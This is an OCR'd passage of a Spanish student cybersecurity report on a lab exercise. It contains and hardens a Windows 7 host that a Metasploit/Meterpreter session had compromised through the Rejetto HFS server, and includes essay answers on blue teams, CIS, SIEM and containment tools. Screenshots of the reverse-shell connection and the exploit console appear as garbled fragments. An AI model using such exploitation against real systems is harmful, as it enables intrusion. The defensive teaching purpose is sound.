Creation Timestamp:

Module Filename:

Remote IP Country:

Remote IP ASN:

Remote IP Company:

Fuente: autor
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Imagen 20-interfaz currports detalle conexion remota

=1 Frope

Process Name:
Process ID:
Protocol:

Local Port:

Local Port Name:
Local Address:
Remote Port:
Remote Port Name:
Remote Address:
Remote Host Name:
State:

Sent Bytes:
Received Bytes:
Sent Packets:
Received Packets:
Process Path:
Product Name:

File Description:
File Version:
Company:

Process Created On:

User Name:
Process Services:
Process Attributes:

Added On:

Creation Timestamp:

Module Filename:
Remote IP Country:
Remote IP ASN:

Remote IP Company:

Window Title:

hhWQaHzps.exe
2192

TCP

49171

10.0.2.15
4444

10.0.2.4

Established

4.864

1.616

17

12
C:UserslusuariolAppDatalLocal\Tempirad 86F6A.tmp\hh\WQaHzps.exe
Apache HTTP Server
ApacheBench command line utility
2214

Apache Software Foundation
22i03/2023 11:28:58 p.m.
PC202006\Wsuario

A
23103/2023 12:03:25 a.m.

Fuente: autor

Currports nos permite terminar las conexiones deseadas asi que, seleccionamos la
conexién establecida y el puerto usado por la aplicacion rejetto y terminamos la
conexion, sacando el atacante del sistema.

Imagen 21-interfaz currports terminar conexiones

(B CurrPorts
File Edit View Options Help

¥ @AE & 720

| -E) S

Process Na... Process.. Protocol Local Port  Local Port Name Local Address Remote.. Remote.. RemoteAddress Remote Host Mame State
.- | hfs-http-file-s... 2164
Fisass.exe 472 TCP 49154 0.0.00 0.000 Listening

Fuente: autor
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Si realizamos la revision en la maquina kali Linux la conexion de sesion fue cerrada
en el momento que se terminaron los procesos

Imagen 22-kali Linux estado conexion remota
C:\Usersh\usuario\Downloads>
1@ 15 - Meterpreter session 2 closed. Reason: Died
shell

Terminate channel 27 [y/N] n

Terminate channel 27 [y/N] v
Error running command shell: Rex::TimeoutError Operation timed out.
msf6 exploit( N |

Fuente: autor

¢ Teniendo en cuenta el ataque ejecutado desde el ejercicio de Red team qué
medidas de hardenizacion propondria para que el ataque no se repita?

Una vez contenido el ataque procedemos a realizar una revision de la configuracion
de seguridad del servidor para realizar las correcciones en configuracién de
seguridad, como lo habiamos notado anteriormente tiene varias fallas en su
configuracion de seguridad las cuales deben ser corregidas

Actualizacién sistema operativo
Se realiza revision de actualizacion del sistema operativo para que este cuente con
los dltimos parches de seguridad que se brindé a ese sistema, ya que es una version

gue no cuenta con soporte actualmente, se recomienda su actualizaciéon a una
version mas actual compatible con el hardware del equipo.
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Imagen 23-interfaz Windows 7 windows update

@le 51 v Panel de contrel » Sistemay seqguridad » Windows Update - |4'r,|

Ventana principal del Panel de
control

Bu:caractualizacicnéﬁ

Cambiar configuracion
Wer historial de actualizacicnes

Restaurar actualizacienes
ocultas

Actualizacicnes: preguntas
mas frecuentes

Wea también

Actualizaciones instaladas

Ifuente: autor

Windows Update
g+ Buscando actualizaciones..
| | ]|
Busqueda mas reciente de actualizacicnes:  Munca
Seinstalaron las actualizacicnes: Munca
Recibe actualizacicnes: Séle para Windows

Obtener actualizaciones para otros preductos de Micresoft, Mas informacién
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Configuracion de firewall y puertos abiertos

Se procede a realizar la activacion del firewall de Windows y cerrar los puertos
abiertos

Imagen 24-interfaz Windows 7 configuracion firewall

@@v|0 < Sistema y seguridad » Firewall de Windows - | +3 |

Ventana principal del Panel de

control Ayude a proteger su equipo con Firewall de Windows

findows ayuda a impedir que hackers o scftware malintencicnade chtengan accese al

Permitir un programa o una . :
Freg equipc a través de Internet o de una red.

caracteristica a través de
Firewall de Windows ;Como me ayuda un firewall a proteger mi equipo?

) Cambiar la configuracién de ;Qué son las ubicaciones de red?

notificaciones =
P — l & Redes domésticas o de trabajo (privadas) Conectado (&)
By Activar o desactivar Firewall de = ’
Windows
. Redes domésticas o del trabajo en cuyos usuarios y dispositives confie
¥ Restaurar valores
predeterminados

) Estado de Firewall de Windows: Activado
@ Configuracién avanzada . .
- Conexicnes entrantes: Bloguear todas las conexiones a los programas
Selucién de problemas de red fue no estén en la lista de programas permitidos

Redes domésticas o del trabajo (privadas) activas: L_h‘i] Red 4

Estado de notificacion: Metificarme cuando Firewall de Windows bloquee
un NUevo programa

. @ Redes publicas No conectado (¥)
Vea también
Centro de actividades

Centro de redes y recursos
compartidos

O =

eleccihe el tipo de regla de firewall que deses crear.

asos:
Tipo de regla i CGué tipo de regla deses crear?
Protocolo y puertos i
e ) Programa
Aecion Regla que controla las conexiones de un progama.
Perfil )
@ Puerto
MNombre Reagla que controla las conexiones de un puerto TCP o UDP.
1 Predefinida:

Administracidn remota de Firewall de Windows

Reala que controla las conexiones de una experiencia con Windows.

) Personalizada
Regla personalizada.

Fuente: autor
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Creamos una nueva regla en el firewall donde se bloquen todos los puertos y
conexiones que estan usando el protocolo tcp por el cual se realiz6 el ataque
Imagen 25- configuracién reglas firewall

- P — ——

Accidn
zpecifigue |a accidn que debe llevarse a cabo cuando una conexidn coincide con las condiciones especiicadas en la regla.
lasos: 5 . . o - _— I -
£Qué medida debe tomarse si una conexidn coincide con las condiciones especificadas?
v Tipo de regla

v Protocolo y puertos _ .
) Permitir la conexién

+ Accién l} Esto incluye las conexiones protegidas mediante IPsec v las que no lo estén.
v Peil
! Permitir la conexion si es segura
+ HNombre Esto incluye solamente las conexiones autenticadas mediante |Psec. Estas se protegerdn
mediante la corfiguracidn de reglas y propiedades de |Psec del nodo Regla de seguridad de
conexidn.
@ Bloguear la conexién
Mas informacién acerca de las acciones
< Aras ] [ Siguiente > ] [ Cancelar ]
i@ Asistente para nueva regla de entrada L X]
Prutumby puertos

Especfique los puertos v protocolos & los que e aplica esta regla.

Pasos:

@ Tipode regla £5e aplica esta regla a TCP o UDP?

& Protocolo y puertos @ TCP
@ Accién ) UDP
@ Pedil

@ MNombre

£5e aplica esta regla a todos los puertos locales o a unos puertos locales especificos?

@ Todos los puertos locales

) Puertos locales especificos:

Ejemplo: 80, 443, 5000-5010

< Mrés ][ Siguiente > ] [ Cancelar
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Fuente: autor

Realizamos un escaneo desde Kali Linux y como podemos evidenciar los puertos
y conexiones se encuentran cerrados

Imagen 26- escaneo puertos Nmap
25.48 seconds

Failed to rest de supposed IPv4 source address "v": Name or service
ot kno

ost is up o
ot shown C C or used)

eturning data.
gerprint at h

Fuente: autor
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Configuracion de cuentas de usuario

Se procede a eliminar las cuentas de administrador se crea una cuenta con
permisos estandar para el usuario y una cuenta administrador solo para uso de
personal de sistemas.

Imagen 27-interfaz Windows 7 configuracion de cuentas de usuario

(el | ||

@\SVH‘L <« Cuentas de usuaric » Administrar cuentas - | 3 | | Buscar en el Pane!l de control o

Elegir la cuenta que desee cambiar

: Sistemas
usuario | 1 R .
. X Administrador
Usuaric estandar . .
i/ Protegida por contrasefia

Invitado

La cuenta de invitado esta desactivada

m

Crear una nueva cuenta

¢Qué es una cuenta de usuaric?

Fuente: autor
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Implementacion de un sistema de antivirus para la asegurar el equipo, procedemos
a realizar un analisis del equipo para descartar otros tipos de ataques o malware
presente en el sistema.

Imagen 28- analisis antivirus avast

& Avast Free Anti*f'lrus AN s Menii

Amenazas del navegador Virus y malware Problemas avanzados
Analizando...

Analizando en busca de malware...

PID O

‘ DETENER ANALISIS

Fuente: autor

El informe nos dice que en este momento en el equipo no se encuentra ninguna
amenaza

Imagen 29- informe antivirus avast

&) Avast Free Antivirus [\ Notificaciones

Hemos finalizado el Analisis inteligente

Vuelva a realizar un Analisis inteligente pronto para resolver cualquier problema que
haya omitido.
O actualice a Avast Premium Security para resolverlos ahora.

Se han encontrado 0 riesgos del navegador

Se han encontrado 0 amenazas de malware

Fuente: autor

Una vez configuradas las nuevas medidas de endurecimiento de la seguridad del
equipo procedemos realizar un nuevo intento de ataque el cual no es exitoso.
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Imagen 30- intento conexién remota exploit

ver started.
nding a malicious request to /

rver stopped.
:ploit completed, but no session was created.

Fuente: autor

¢Describa con sus palabras las diferencias entre un equipo Blueteam y un
equipo de respuesta a incidentes informaticos?

En lineas generales los equipos blue team tienen como funcion el disefo
formulacion e implementacién de las estrategias de seguridad de los dispositivos
TIC de una organizacioén, el equipo de respuesta a incidentes informaticos es aquel
gue entra en escena una vez se presenta un incidente de ciberseguridad y cuya
funcién en es disminuir los dafios y eliminar el riesgo materializado en el ataque en
Curso.

Las diferentes funciones que desempefian cada uno de los equipos son las
siguientes:

Blue team
Andlisis de patrones y comportamiento anormales en la red

Andlisis de riesgos de sistemas de informacion y equipos TIC usados en la
organizacion

Evaluacion de amenazas y riesgos que puedan afectar a la infraestructura TIC
Monitorizacién de sistemas e infraestructura TIC en general

Disefio de planes de seguridad y manejo de riesgos

Equipo respuesta a incidentes informaticos
Formulacién de procesos de respuesta a incidentes
Andlisis de incidentes de seguridad informética en una organizacion

Gestidn de incidentes de seguridad informatica
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Minimizar dafios causados por el incidente

Identificacion de causas del incidente

Tratamiento de vulnerabilidades de sistemas de informacion y equipos TIC
Endurecimiento de infraestructura TIC

¢ Si dentro de un equipo Blueteam le indican que debe trabajar con CIS “Center
For Internet Security” usted lo utilizaria para qué fin?

Lo utilizaria para mejorar la gestion de politicas de ciber seguridad y medicion de
controles de seguridad establecidos para proteccion de la estructura de sistemas.

Tener bien definidas unas politicas de seguridad de la informacién y que estas estén
alineadas a las propuestas por la comunidad en CIS, aumentan en gran manera la
eficiencia de estas, de igual manera automatizar las politicas se sean aplicables por
software garantiza que estan se estdn cumpliendo, como politicas de acceso a
sitios, mantenimientos programados, parches de seguridad automaticos, vigilancia
de uso de credencial y accesos adecuados a recursos de red etc.

También CSI Benchmarks son un excelente punto de partida y medicién de
cumplimiento de estandares de seguridad.

Otro de sus usos mas importantes es en el aspecto de endurecimiento de la
seguridad, CIS comparte software y recomendaciones de configuracion de
dispositivos para realizar hardening de nuestra estructura tecnoldgica, muchas de
estas recomendaciones han probado ser eficientes ante diferentes tipos de ataques
informéticos por lo tanto estar alineado a estadn garantizan la eficiencia de estos
controles.

Explique y redacte las funciones y caracteristicas principales de lo que es un
SIEM.

Un SIEM es un sistema usado como solucién de seguridad cuya funcion es la
deteccién, respuesta y eliminacion de amenazas informaticas, este realiza un
analisis en tiempo real de todos los eventos que estan ocurriendo en la estructura
informatica la cual protege, este analiza un constantemente analisis y monitoreo de
la actividad para identificar anormalidades y generar las respectivas alarmas,
ademas de almacenar todo esta esta informacidén recopilada para analisis mas
exhaustivos proporcionando informes que ayudan al personas de seguridad a tomar
decisiones mas agiles y acertadas a la hora de responder a una amenaza o
prevenirla
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Entre sus principales caracteristicas se encuentran:

Centralizacion de amenazas potenciales

Identificacion y respuesta a amenazas en tiempo real

Respuesta automatica a incidentes de seguridad y automatizacion de tareas
Caracteristicas que permiten realizar analisis forense

Sistema de alertas de incidentes y seguimiento de eventos

Evaluacion de vulnerabilidades, monitoreo y deteccion de amenazas de seguridad
Generacion de informes y auditorias ajustados a hormas

Defina por lo menos 3 herramientas de contencion de ataques informaticos
“hardware o software”, recuerde que las herramientas de contencién son
diferentes a las herramientas de deteccion.

Firewall ya sea por hardware o software

Los firewall son herramientas muy Utiles para bloqueo de amenazas en nuestra red
existen diferentes version y configuraciones de estos adaptandose a la medida de
nuestras necesidades, pero cuya funcién esencialmente es la misma inspeccion
del trafico de la red y bloqueo de accesos no autorizados a esta.

Todo lo que pasa por la red es auditado por el firewall este tiene unos parametros
de configuracion establecidos, todo lo que no cumpla con estos parametros sera
bloqueado inmediatamente, protegiendo asi las comunicaciones y sistemas.
Sistemas MDR (Managed Detection and Response)

Este tipo de soluciones de seguridad utilizan inteligencia artificial y aprendizaje
automatico para monitored, andlisis y respuesta a incidentes de seguridad de la
informacion, permitiendo una gestion oportuna y eliminacién de amenazas de
seguridad en una infraestructura TIC.

Antivirus

La herramienta mas comun y usado en un equipo informatico, esta cuenta con una
base de datos de amenazas conocidas Yy unos parametros para clasificacion y
deteccion de posibles amenazas de diferente tipo una vez identifica la aplicacion

archivo sospechoso este procederd a contener esta amenaza dejandola en
cuarentena o eliminarla.
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CONCLUSIONES

Una vez finalizado los procedimientos y actividades contemplados en el desarrollo
del seminario y analizando su importancia y validez en practicas y estrategias de
informatica ofensiva, defensiva y normatividad se comparte las siguientes
conclusiones.

e Laley colombiana es muy clara con respecto a que procesos son ilegales y
considerados ciberdelitos, debemos tener siempre muy en cuenta esto al
momento de ejercer nuestra profesiones y consultar con anterioridad si algun
contrato o solicitud vulnera alguno de los articulos.

e La integridad y profesionalismo de los profesionales de area de seguridad
informatica debe ir por encima de cualquier monto de dinero u orden de
trabajo, velar por que se ejecuten los procesos segun la ley y se garantice
la proteccidén y buen uso de datos es responsabilidad de cada ingeniero a
cargo de estos

e El pentesting es una muy buena practica que permite probar y mejorar la
seguridad de una infraestructura tecnoldgica permitiendo reparar brechas de
seguridad y prevenir ataques, las herramientas para pentesting son variadas
y con muchas funcionalidades diversas al ser la mayoria de cédigo abierto
son un gran recurso para la practica de esta actividad

e Las bases de datos publicas constantemente estan alimentando la
informacion sobre nuevas vulnerabilidades de sistemas y productos de
tecnologias de la informacién y comunicaciones, son un gran recurso de
consulta, al momento de verificacion de estado de seguridad de hardware y
software.

e Un buen procedimiento definido de respuesta a incidentes informaticos
garantiza la respuesta rapida y oportuna frente a la materializacion de una
amenaza

e La implementacién de controles de seguridad eficaces basados en los

analisis de seguridad e identificacion de riesgos de cada organizacion crean
medidas de endurecimiento de seguridad efectivas.

41



RECOMENDACIONES

Basado en la informacion obtenidas por medio de los procedimientos en las
diferentes se tapas se realizan las siguientes recomendaciones a la organizacion.

Realizar la elaboracion de documento de politicas de seguridad de la informacion
ya que este es un control eficaz para la mejora de una buena cultura de seguridad
de la informacién en una organizacion.

Realizar la revision y correccion de todos los documentos legales que estén
relacionados con las leyes de delitos informéticos y velar porque todos estos no
inflijan ninguno de los articulos.

Realizar un andlisis de riegos que permita identificar el estado de la seguridad de
los sistemas e implementacion de controles de mitigacion efectivos

Realizar un plan de auditorias internas con pentesting que pongan a prueba la
efectividad de los controles establecidos.

Adicional a esto se recomiendas los siguientes controles de seguridad para
fortalecer la seguridad de la informacion y todos equipos de la organizacion

Configuracion de un directorio activo para compartir archivos de manera segura con
controles de seguridad

Firewall por software con sistema ids/ips

Este permitird tener la red auditada en tiempo real creando reglas especificas de
seguridad y acceso de una manera mas facil y con un sistema de alarmas y
deteccién de actividad sospechosa que permitira actuar de manera rapida y efectiva
ante un nuevo incidente

Sistema EDR con implementacién de agente en el equipo
Este permite por medio del despliegue de un agente en cada equipo, que se lleve
un control y monitoreo de todo lo que esta pasando en cada host, uso de aplicativos

conexiones y actividad en general, también cuenta con un sistema de alarmas que
nos informara de cualquier actividad inusual en el host.

Link video:
https://drive.google.com/file/d/1-zzpHIJduFQOZkf3Q7qwXMY SrUob0gGsk/view?usp=sharing
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